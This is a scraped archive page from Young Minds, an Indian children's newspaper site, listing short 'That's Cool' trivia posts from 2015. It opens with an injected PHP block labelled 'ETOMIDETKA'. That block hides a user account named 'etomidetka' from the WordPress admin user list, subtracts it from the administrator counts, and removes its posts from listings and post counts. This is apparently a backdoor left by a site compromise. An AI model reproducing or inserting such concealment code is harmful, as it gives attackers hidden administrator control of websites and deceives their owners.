//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); That’s Cool | YOUNG MINDS | Page 4

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category That’s Cool (Page 4)
Alaska is the only state in America that can be typed on one row of a traditional English QWERTY keyboard.

Alaska is the only state in America that can be typed on one row of a traditional English QWERTY keyboard.

October 20, 2015 | That's Cool | 0 Comments
Antarctica is the only continent without a time zone.

Antarctica is the only continent without a time zone.

October 15, 2015 | That's Cool | 0 Comments
Sunflowers can be used to clean up radioactive waste.

Sunflowers can be used to clean up radioactive waste.

October 15, 2015 | That's Cool | 0 Comments
Each year, September begins on the same day of the week like December

Each year, September begins on the same day of the week like December

October 7, 2015 | That's Cool | 0 Comments
One of the reasons the WWF chose the Panda as their logo was to  save printing costs

One of the reasons the WWF chose the Panda as their logo was to save printing costs

October 7, 2015 | That's Cool | 0 Comments
The scientific name for the Western lowland gorilla is Gorilla gorilla gorilla.

The scientific name for the Western lowland gorilla is Gorilla gorilla gorilla.

September 28, 2015 | That's Cool | 0 Comments
Llanfairpwllgwyngyllgogery-chwyrndrobwllllantysiliogogogoch is the official name of a village in Wales.

Llanfairpwllgwyngyllgogery-chwyrndrobwllllantysiliogogogoch is the official name of a village in Wales.

September 28, 2015 | That's Cool | 0 Comments
Thousands of marine creatures die by  swallowing plastic bags that resemble jellyfish

Thousands of marine creatures die by swallowing plastic bags that resemble jellyfish

September 18, 2015 | That's Cool | 0 Comments
Facebook has about 95 million users in China despite being blocked

Facebook has about 95 million users in China despite being blocked

September 18, 2015 | That's Cool | 0 Comments
The jaguar and the leopard are the only big cats which do not roar

The jaguar and the leopard are the only big cats which do not roar

September 14, 2015 | That's Cool | 0 Comments
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds